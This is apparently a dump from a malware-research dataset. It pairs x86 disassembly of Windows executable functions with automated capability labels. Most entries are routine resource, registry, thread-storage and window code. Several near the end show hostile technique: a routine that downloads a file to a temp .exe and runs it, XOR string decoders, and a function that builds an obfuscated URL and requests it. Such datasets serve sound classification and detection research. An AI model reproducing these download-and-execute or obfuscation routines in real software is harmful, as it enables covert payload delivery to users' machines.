joyce8/EMBER2024-capa huggingface dataset:
Function at 0x455a47
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, 0x462a94
call fcn.004465b0
push ecx
sub esp, 0x14
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esp
mov dword [ebp - 0x18], esi
mov eax, dword [esi + 0x48]
mov edi, dword [esi + 0x44]
mov dword [ebp - 0x14], eax
call fcn.00460ed4
cmp dword [esi + 0x40], 0
mov ebx, dword [eax + 0xc]
je 0x455a95
call fcn.00460ed4
mov ebx, dword [eax + 0xc]
push 5
push dword [esi + 0x40]
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_LoadResource]
mov edi, eax
test edi, edi
je 0x455aa3
push edi
call dword [sym.imp.KERNEL32.dll_LockResource]
mov dword [ebp - 0x14], eax
cmp dword [ebp - 0x14], 0
jne 0x455ab1
or eax, 0xffffffff
jmp 0x455b9d
mov ecx, esi
call fcn.004559d2
mov edi, eax
mov dword [ebp - 0x20], edi
call fcn.00456d31
push edi
call fcn.0045677f
and dword [ebp - 0x1c], 0
test edi, edi
je 0x455aeb
push edi
call dword [sym.imp.USER32.dll_IsWindowEnabled]
test eax, eax
je 0x455aeb
push 0
push edi
call dword [sym.imp.USER32.dll_EnableWindow]
mov dword [ebp - 0x1c], 1
and dword [ebp - 4], 0
push esi
call fcn.00456ce5
push edi
call fcn.0045677f
push ebx
push eax
push dword [ebp - 0x14]
mov ecx, esi
call fcn.00455769
xor ebx, ebx
cmp eax, ebx
je 0x455b64
test byte [esi + 0x24], 0x10
je 0x455b2f
push 4
mov ecx, esi
pop ebx
call fcn.00459190
test ah, 1
je 0x455b25
push 5
pop ebx
push ebx
mov ecx, esi
call fcn.00458d58
xor ebx, ebx
cmp dword [esi + 0x1c], ebx
je 0x455b64
push 0x97
push ebx
push ebx
push ebx
push ebx
push ebx
mov ecx, esi
call fcn.004592af
jmp 0x455b64
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x1c], ebx
je 0x455b76
push 1
push edi
call dword [sym.imp.USER32.dll_EnableWindow]
cmp edi, ebx
je 0x455b8c
call dword [sym.imp.USER32.dll_GetActiveWindow]
cmp eax, dword [esi + 0x1c]
jne 0x455b8c
push edi
call dword [sym.imp.USER32.dll_SetActiveWindow]
mov eax, dword [esi]
mov ecx, esi
call dword [eax + 0x60]
mov ecx, esi
call fcn.00455a09
mov eax, dword [esi + 0x2c]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret

Function at 0x4571fe
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x457236
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0045624e
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00456226
jmp 0x457242
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x90]
pop esi
ret 4
Function at 0x458c4e
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x458c90
call fcn.00460ed4
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x458c90
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x458c87
xor eax, eax
jmp 0x458c98
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00458c9e
pop edi
pop esi
pop ebx
ret 4

Function at 0x45ab0f
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x11c
push edi
xor edi, edi
cmp dword [ebp + 8], edi
jne 0x45ab2c
cmp dword [0x48e4cc], edi
jne 0x45ac7e
cmp word [0x48e4d8], di
mov dword [0x48e4cc], 1
jne 0x45ab5e
push str.MSH_SCROLL_LINES_MSG
call dword [sym.imp.USER32.dll_RegisterWindowMessageA]
xor ecx, ecx
cmp eax, edi
setne cl
inc ecx
mov dword [0x48e4d4], eax
mov word [0x48e4d8], cx
cmp word [0x48e4d8], 2
jne 0x45ab9a
push str.Magellan_MSWHEEL
push str.MouseZ
call dword [sym.imp.USER32.dll_FindWindowA]
cmp eax, edi
je 0x45ab9a
mov ecx, dword [0x48e4d4]
cmp ecx, edi
je 0x45ab9a
push edi
push edi
push ecx
push eax
call dword [sym.imp.USER32.dll_SendMessageA]
mov dword [0x48e4d0], eax
jmp 0x45ac83
push 0x94
lea eax, [ebp - 0x9c]
push edi
push eax
call fcn.00446800
add esp, 0xc
lea eax, [ebp - 0x9c]
mov dword [ebp - 0x9c], 0x94
mov dword [0x48e4d0], 3
push eax
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
test eax, eax
je 0x45ac7e
cmp dword [ebp - 0x8c], 1
je 0x45abee
cmp dword [ebp - 0x8c], 2
jne 0x45ac7e
cmp dword [ebp - 0x98], 4
jae 0x45ac5d
lea eax, [ebp + 8]
push eax
push 1
push edi
push str.Control_PanelDesktop
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x45ac7e
lea eax, [ebp - 4]
mov dword [ebp - 4], 0x80
push eax
lea eax, [ebp - 0x11c]
push eax
lea eax, [ebp - 8]
push eax
push edi
push str.WheelScrollLines
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x45ac52
push 0xa
lea eax, [ebp - 0x11c]
push edi
push eax
call fcn.00447810
add esp, 0xc
mov dword [0x48e4d0], eax
push dword [ebp + 8]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x45ac7e
cmp dword [ebp - 0x8c], 2
jne 0x45ac7e
cmp dword [ebp - 0x98], 4
jb 0x45ac7e
push edi
push 0x48e4d0
push edi
push 0x68
call dword [sym.imp.USER32.dll_SystemParametersInfoA]
mov eax, dword [0x48e4d0]
pop edi
leave
ret
Function at 0x45b8d0
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x10
push esi
mov esi, ecx
push edi
cmp dword [esi + 0x7c], 0
je 0x45b914
push dword [ebp + 8]
call fcn.00460714
mov esi, eax
test esi, esi
je 0x45b93f
lea eax, [ebp + 0x10]
push 4
push eax
push 4
push 0
push dword [ebp + 0xc]
push esi
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push esi
mov edi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
test edi, edi
sete al
jmp 0x45b93f
push dword [ebp + 0x10]
lea eax, [ebp - 0x10]
push 0x46a56c
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x10]
push dword [esi + 0x90]
push eax
push dword [ebp + 0xc]
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_WritePrivateProfileStringA]
pop edi
pop esi
leave
ret 0xc

Function at 0x460d50
Capabilities:
Access peb ldr_data

Disassembly:
mov eax, 0x462e4a
call fcn.004465b0
push ecx
push esi
mov esi, ecx
mov dword [ebp - 0x10], esi
mov dword [esi], vtable.CNoTrackObject.0
xor eax, eax
push 0xa
lea ecx, [esi + 0x30]
mov dword [ebp - 4], eax
mov dword [esi + 8], eax
mov dword [esi + 0xc], eax
call fcn.00454316
push 0xa
lea ecx, [esi + 0x4c]
mov byte [ebp - 4], 1
call fcn.00454316
push 0xa
lea ecx, [esi + 0x68]
mov byte [ebp - 4], 2
call fcn.00454193
mov ecx, dword [ebp - 0xc]
mov dword [esi], vtable.AFX_MODULE_THREAD_STATE.0
mov dword [esi + 0xc], 0x54
mov dword [esi + 0x28], 0x4562a3
mov eax, esi
mov dword fs:[0], ecx
pop esi
leave
ret

Function at 0x461267
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
push esi
push edi
mov edi, ecx
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
mov esi, eax
test esi, esi
je 0x461295
mov eax, dword [esp + 0xc]
cmp eax, dword [esi + 8]
jl 0x461337
cmp dword [esp + 0x10], 0
je 0x461337
test esi, esi
jne 0x4612d1
push 0x10
call fcn.00461084
test eax, eax
je 0x4612aa
mov dword [eax], vtable.CThreadData.0
mov esi, eax
jmp 0x4612ac
xor esi, esi
and dword [esi + 8], 0
and dword [esi + 0xc], 0
lea eax, [edi + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
lea ecx, [edi + 0x14]
call fcn.00461026
lea eax, [edi + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
mov eax, dword [esi + 0xc]
test eax, eax
jne 0x4612e9
mov eax, dword [edi + 0xc]
shl eax, 2
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
jmp 0x4612f9
mov ecx, dword [edi + 0xc]
push 2
shl ecx, 2
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_LocalReAlloc]
test eax, eax
mov dword [esi + 0xc], eax
jne 0x461305
call fcn.00453fa9
mov eax, dword [esi + 8]
mov ecx, eax
imul ecx, ecx, 0x3fffffff
add ecx, dword [edi + 0xc]
shl ecx, 2
push ecx
mov ecx, dword [esi + 0xc]
push 0
lea eax, [ecx + eax*4]
push eax
call fcn.00446800
mov eax, dword [edi + 0xc]
add esp, 0xc
mov dword [esi + 8], eax
push esi
push dword [edi]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
mov eax, dword [esi + 0xc]
mov edx, dword [esp + 0xc]
mov ecx, dword [esp + 0x10]
pop edi
mov dword [eax + edx*4], ecx
pop esi
ret 8
Function at 0x46136c
Capabilities:
Set thread local storage value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
mov esi, dword [ebp + 8]
push edi
push 1
mov ebx, ecx
pop edi
cmp dword [esi + 8], edi
mov dword [ebp - 4], edi
jle 0x4613bf
mov eax, dword [ebp + 0xc]
test eax, eax
je 0x4613a2
mov ecx, dword [ebx + 0x10]
cmp dword [ecx + edi*8 + 4], eax
je 0x4613a2
mov eax, dword [esi + 0xc]
cmp dword [eax + edi*4], 0
je 0x4613b9
and dword [ebp - 4], 0
jmp 0x4613b9
mov eax, dword [esi + 0xc]
mov ecx, dword [eax + edi*4]
test ecx, ecx
je 0x4613b2
mov eax, dword [ecx]
push 1
call dword [eax]
mov eax, dword [esi + 0xc]
and dword [eax + edi*4], 0
inc edi
cmp edi, dword [esi + 8]
jl 0x461383
cmp dword [ebp - 4], 0
je 0x4613fe
lea edi, [ebx + 0x1c]
push edi
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
push esi
lea ecx, [ebx + 0x14]
call fcn.00461039
push edi
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
push dword [esi + 0xc]
call dword [sym.imp.KERNEL32.dll_LocalFree]
test esi, esi
je 0x4613f4
mov eax, dword [esi]
push 1
mov ecx, esi
call dword [eax]
push 0
push dword [ebx]
call dword [sym.imp.KERNEL32.dll_TlsSetValue]
pop edi
pop esi
pop ebx
leave
ret 8

Function at 0x461913
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
push 0x4619c3
mov ecx, 0x48e4dc
call fcn.004614f3
mov ebx, dword [ebp + 0xc]
mov edi, dword [ebp + 8]
mov esi, eax
cmp word [esi + 8], 0
jne 0x4619a1
push str.COMCTL32.DLL
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
test eax, eax
mov dword [ebp + 0xc], eax
je 0x46197f
mov ecx, dword [ebp + 0x10]
push 5
neg ecx
sbb ecx, ecx
and ecx, 0xe
add ecx, 0x3ee
movzx ecx, cx
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push eax
push dword [ebp + 0xc]
call dword [sym.imp.KERNEL32.dll_LoadResource]
test eax, eax
je 0x46197f
push ebx
push edi
push eax
call fcn.00459dc1
add esp, 0xc
mov eax, dword [edi]
mov eax, dword [eax - 8]
inc eax
push eax
push 0x40
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov dword [esi + 4], eax
push dword [edi]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov ax, word [ebx]
mov word [esi + 8], ax
push dword [esi + 4]
mov ecx, edi
call fcn.00456086
mov si, word [esi + 8]
xor eax, eax
mov word [ebx], si
cmp si, 0xffff
pop edi
pop esi
setne al
pop ebx
pop ebp
ret 0xc
Function at 0x40d701
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
cmp byte [0x41cf04], 0
je 0x40d719
mov eax, dword [0x41cf08]
jmp 0x40d7e9
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push str.SoftwarePoliciesMicrosoftSecurity
push reloc.AppVIsvSubsystems32.dll_Ordinal_1
mov dword [ebp - 4], esi
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40d768
lea eax, [ebp - 8]
mov dword [ebp - 8], 4
push eax
push 0x41cf08
push esi
push esi
push dword [0x41c3f8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40d768
cmp dword [ebp - 8], 4
je 0x40d7c2
mov eax, dword [ebp - 4]
mov dword [ebp - 4], esi
test eax, eax
je 0x40d779
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 4]
push eax
push 0x20019
push esi
push str.SoftwareMicrosoftSecurity
push reloc.AppVIsvSubsystems32.dll_Ordinal_1
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x40d7ca
lea eax, [ebp - 8]
mov dword [ebp - 8], 4
push eax
push 0x41cf08
push esi
push esi
push dword [0x41c3f8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40d7ca
cmp dword [ebp - 8], 4
jne 0x40d7ca
mov esi, dword [0x41cf08]
jmp 0x40d7d0
mov dword [0x41cf08], esi
cmp dword [ebp - 4], 0
mov byte [0x41cf04], 1
je 0x40d7e6
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x40d7ed
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push ebx
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
lea eax, [ebp - 8]
push eax
push 0x20019
xor ebx, ebx
push ebx
push 0x414a98
push Ordinal_1
mov dword [ebp - 8], ebx
call edi
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test eax, eax
jne 0x40d87f
lea eax, [ebp - 4]
mov dword [ebp - 4], ebx
push eax
push 0x20019
push ebx
push dword [ebp + 8]
push dword [ebp - 8]
call edi
test eax, eax
jne 0x40d875
push 4
pop edi
lea eax, [ebp + 8]
mov dword [ebp + 8], edi
push eax
lea eax, [ebp - 0xc]
push eax
push ebx
push ebx
push 0x417758
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x40d875
cmp dword [ebp + 8], edi
jne 0x40d875
mov edi, dword [ebp - 0xc]
cmp edi, 3
ja 0x40d875
cmp dword [ebp - 4], ebx
je 0x40d881
push dword [ebp - 4]
call esi
jmp 0x40d881
cmp dword [ebp - 4], ebx
je 0x40d87f
push dword [ebp - 4]
call esi
mov edi, ebx
cmp dword [ebp - 8], ebx
je 0x40d88b
push dword [ebp - 8]
call esi
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
Function at 0x406312
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x406351
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x406351
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x406351
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x406351
cmp dword [ecx + 0x74], 0xe
jbe 0x406351
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x710c7c
Capabilities:
Encode data using xor

Disassembly:
mov edx, 0x7109ec
mov ecx, 0x474bce11
sub ecx, edi
call fcn.00710cbb
sub edi, edi
mov ecx, 0x254dd86b
xor dword [eax], edx
add edi, 1
and ecx, edi
add edi, edi
inc eax
sub edi, 0xb87f5a37
mov edi, edi
add edi, 0x6fd35d3e
cmp eax, ebx
jne fcn.00710c7c
or ecx, ecx
ret
Function at 0x401090
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, ecx
xor esi, esi
push edi
call fcn.0042a2d0
pop ecx
test eax, eax
je 0x4010b7
mov al, byte [esi + edi]
sub al, 3
xor al, 0x55
mov byte [esi + edi], al
inc esi
push edi
call fcn.0042a2d0
pop ecx
cmp esi, eax
jb 0x4010a1
pop edi
pop esi
ret

Function at 0x4010ba
Capabilities:
Encode data using xor

Disassembly:
push esi
push edi
mov edi, ecx
xor esi, esi
push edi
call fcn.0042a35b
pop ecx
test eax, eax
je 0x4010e7
mov ax, word [edi + esi*2]
sub ax, 3
xor ax, 0x55
mov word [edi + esi*2], ax
inc esi
push edi
call fcn.0042a35b
pop ecx
cmp esi, eax
jb 0x4010cb
pop edi
pop esi
ret
Function at 0x401db1
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x34
push ebx
mov ebx, dword [sym.imp.USER32.dll_LoadIconW]
push esi
push edi
xor edi, edi
mov dword [ebp - 0x2c], 0x402582
push 0x84
push edi
mov dword [ebp - 0x30], edi
mov dword [ebp - 0x28], edi
mov dword [ebp - 0x24], edi
mov dword [ebp - 0x20], edi
call ebx
mov esi, dword [sym.imp.USER32.dll_LoadCursorW]
push 0x7f03
push edi
mov dword [ebp - 0x1c], eax
call esi
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x14], edi
mov dword [ebp - 0x10], edi
mov edi, dword [sym.imp.USER32.dll_RegisterClassW]
push eax
mov dword [ebp - 0xc], str.SHARESCREEN
call edi
xor eax, eax
mov dword [ebp - 0x30], 3
push 0x84
push eax
mov dword [ebp - 0x2c], 0x402107
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x20], eax
call ebx
push 0x7f03
xor ebx, ebx
mov dword [ebp - 0x1c], eax
push ebx
call esi
push ebx
mov dword [ebp - 0x18], eax
call dword [sym.imp.GDI32.dll_GetStockObject]
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x30]
push eax
mov dword [ebp - 0x10], ebx
mov dword [ebp - 0xc], str.SHARESCREENL
call edi
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 0x4c
call esi
push 0x4d
mov edi, eax
call esi
push 0x4e
mov ebx, eax
call esi
push 0x4f
mov dword [ebp - 8], eax
call esi
mov dword [ebp - 4], eax
xor eax, eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push eax
push 0x80000000
push eax
push str.SHARESCREEN
push 0x80000a8
mov dword [0x45d610], edi
mov dword [0x45d60c], ebx
call dword [sym.imp.USER32.dll_CreateWindowExW]
mov esi, eax
test esi, esi
je 0x401f12
push 0
push dword [ebp - 4]
push dword [ebp - 8]
push ebx
push edi
push esi
call dword [sym.imp.USER32.dll_MoveWindow]
push 5
push esi
call dword [sym.imp.USER32.dll_ShowWindow]
push esi
call dword [sym.imp.USER32.dll_UpdateWindow]
xor ebx, ebx
push ebx
push 0x64
pop edi
push edi
push 1
push esi
call dword [sym.imp.USER32.dll_SetTimer]
push ebx
push ebx
push ebx
push esi
mov eax, 0x12c
push eax
push eax
push edi
push edi
push 0x80000000
push ebx
push str.SHARESCREENL
push 0x8080080
call dword [sym.imp.USER32.dll_CreateWindowExW]
push 3
push edi
push 0xff
push eax
mov dword [0x45d614], eax
call dword [sym.imp.USER32.dll_SetLayeredWindowAttributes]
xor eax, eax
inc eax
pop edi
pop esi
pop ebx
leave
ret
Function at 0x401fa7
Capabilities:
Hide graphical window

Disassembly:
push ebp
mov ebp, esp
push esi
mov esi, dword [sym.imp.USER32.dll_ShowWindow]
push edi
push 5
push dword [0x45d614]
mov edi, edx
call esi
push dword [0x45d614]
call dword [sym.imp.USER32.dll_UpdateWindow]
cmp dword [ebp + 8], 0
je 0x401fda
push 0
push dword [0x45d614]
call esi
mov esi, edi
mov edi, 0x45d5fc
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edx, dword [0x45d604]
mov edi, dword [0x45d5fc]
cmp edx, edi
jge 0x402007
mov eax, edi
mov edi, edx
mov edx, eax
mov dword [0x45d5fc], edi
mov dword [0x45d604], edx
mov ecx, dword [0x45d608]
mov esi, dword [0x45d600]
cmp ecx, esi
jge 0x402029
mov eax, esi
mov esi, ecx
mov ecx, eax
mov dword [0x45d600], esi
mov dword [0x45d608], ecx
push 1
sub ecx, esi
sub edx, edi
inc ecx
inc edx
push ecx
push edx
push esi
push edi
push dword [0x45d614]
call dword [sym.imp.USER32.dll_MoveWindow]
pop edi
pop esi
pop ebp
ret
Function at 0x402a05
Capabilities:
Create http request
Create process on windows
Download and write a file
Get common file path
Read data from internet
Receive and write data from server to client
Receive data
Write and execute a file
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x85c
mov eax, dword [0x45a064]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
mov esi, edx
push ebx
push ebx
push ebx
push ebx
push 0x451e78
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
test edi, edi
je 0x402bad
push ebx
push ebx
push ebx
push ebx
push esi
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
mov esi, eax
test esi, esi
je 0x402bad
lea eax, [ebp - 0x418]
push eax
push 0x105
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
lea eax, [ebp - 0x210]
push eax
push ebx
push ebx
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea eax, [ebp - 0x210]
push str..exe
push eax
call fcn.0042a89e
pop ecx
pop ecx
push ebx
push 0x80
push 2
push ebx
push ebx
push 0x40000000
lea eax, [ebp - 0x210]
mov dword [ebp - 0x81c], 1
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov ebx, eax
test ebx, ebx
je 0x402b9c
push 0x400
lea eax, [ebp - 0x818]
push 0
push eax
call fcn.00426840
add esp, 0xc
jmp 0x402b08
lea eax, [ebp - 0x81c]
push eax
push 0x400
lea eax, [ebp - 0x818]
push eax
push esi
call dword [sym.imp.WININET.dll_InternetReadFile]
push 0
lea eax, [ebp - 0x820]
push eax
push dword [ebp - 0x81c]
lea eax, [ebp - 0x818]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp dword [ebp - 0x81c], 0
ja 0x402ad1
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_CloseHandle]
call ebx
lea ecx, [ebp - 0x210]
call fcn.00402971
test eax, eax
je 0x402b9c
push 0x3c
pop ecx
lea eax, [ebp - 0x85c]
xor edx, edx
mov byte [eax], dl
inc eax
sub ecx, 1
jne 0x402b34
movaps xmm0, xmmword [0x4524d0]
lea eax, [ebp - 0x210]
mov dword [ebp - 0x84c], eax
lea eax, [ebp - 0x85c]
push eax
mov dword [ebp - 0x85c], 0x3c
mov dword [ebp - 0x858], edx
mov dword [ebp - 0x854], edx
mov dword [ebp - 0x850], edx
movups xmmword [ebp - 0x848], xmm0
call dword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
je 0x402b9c
push 0x8000
push dword [ebp - 0x824]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push dword [ebp - 0x824]
call ebx
push esi
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
call esi
push edi
call esi
xor eax, eax
inc eax
jmp 0x402baf
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040f8e5
leave
ret
Function at 0x402bbe
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
xor ebx, ebx
lea eax, [ebp - 4]
push ebx
push eax
push ebx
push 0xf003f
push ebx
push ebx
push ebx
push ecx
push 0x80000001
mov edi, edx
mov dword [ebp - 4], ebx
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
mov esi, eax
test esi, esi
jne 0x402c00
push 4
push dword [ebp + 8]
push 1
push ebx
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov esi, eax
cmp dword [ebp - 4], ebx
je 0x402c0e
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
pop edi
mov eax, esi
pop esi
pop ebx
leave
ret
Function at 0x402c15
Capabilities:
Create http request

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x45a064]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push ebx
push ebx
push ebx
push 0x451e78
call dword [sym.imp.WININET.dll_InternetOpenW]
mov edi, eax
test edi, edi
je 0x402e6b
push 0x208
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.00426840
push 0x40
pop eax
push 0x24
pop ecx
push 0x28
pop edx
push 0x29
pop ebx
push 0x72
mov word [0x45d8d0], ax
pop eax
push 0x7d
mov word [0x45d8da], ax
pop eax
push 0x3d
mov word [0x45d8dc], ax
mov word [0x45d8de], ax
mov word [0x45d8d6], dx
mov word [0x45d8e0], dx
pop edx
push 0x7b
pop eax
push 0x3b
mov word [0x45d8e8], ax
mov word [0x45d8ee], ax
mov word [0x45d8d2], cx
mov word [0x45d8d4], cx
mov word [0x45d8e6], cx
mov word [0x45d8ea], cx
pop ecx
push 0x33
pop eax
push 0x7e
mov word [0x45d8f2], ax
mov word [0x45d8d8], bx
mov word [0x45d8e4], bx
pop ebx
push 0x39
pop eax
push 0x7d
mov word [0x45d8f6], ax
pop eax
push 0x24
mov word [0x45d8e2], dx
mov word [0x45d8ec], dx
mov word [0x45d8f8], dx
pop edx
push 0x2a
mov word [0x45d8f0], cx
mov word [0x45d8fa], cx
pop ecx
push 0x37
mov word [0x45d8fc], ax
pop eax
push 0x39
mov word [0x45d902], ax
pop eax
push 0x41
mov word [0x45d904], ax
pop eax
push 0xd
mov word [0x45d906], ax
pop eax
push 0x28
mov word [0x45d908], ax
pop eax
push 0x40
mov word [0x45d900], cx
mov word [0x45d90c], cx
mov word [0x45d8f4], bx
mov word [0x45d8fe], dx
mov word [0x45d90a], ax
mov word [0x45d90e], dx
mov word [0x45d910], bx
mov word [0x45d912], ax
pop ecx
push 0x6d
mov word [0x45d916], ax
pop eax
push 0x29
mov word [0x45d918], ax
pop eax
push 0x23
mov word [0x45d91a], ax
pop eax
push 0x3a
mov word [0x45d91c], ax
pop eax
mov word [0x45d91e], ax
xor eax, eax
push 0x6b
mov word [0x45d914], cx
mov ecx, 0x45d8d0
pop ebx
mov word [0x45d920], bx
mov word [0x45d922], ax
call fcn.004010ba
push 0x76
pop eax
push 0x39
mov word [0x45d978], ax
mov ecx, 0x45d978
pop eax
mov word [0x45d97a], ax
mov word [0x45d97c], ax
push 0x14
pop eax
mov word [0x45d980], ax
push 0x13
pop eax
mov word [0x45d982], ax
xor eax, eax
mov word [0x45d97e], bx
mov word [0x45d984], ax
call fcn.004010ba
push 0x45d8d0
mov ebx, 0x104
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.0042df0d
push esi
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.0042df0d
push 0x45d978
lea eax, [ebp - 0x20c]
push ebx
push eax
call fcn.0042df0d
add esp, 0x30
xor eax, eax
push eax
push eax
push eax
push eax
lea eax, [ebp - 0x20c]
push eax
push edi
call dword [sym.imp.WININET.dll_InternetOpenUrlW]
test eax, eax
je 0x402e6b
mov esi, dword [sym.imp.WININET.dll_InternetCloseHandle]
push eax
call esi
push edi
call esi
xor eax, eax
inc eax
jmp 0x402e6d
xor eax, eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.0040f8e5
leave
ret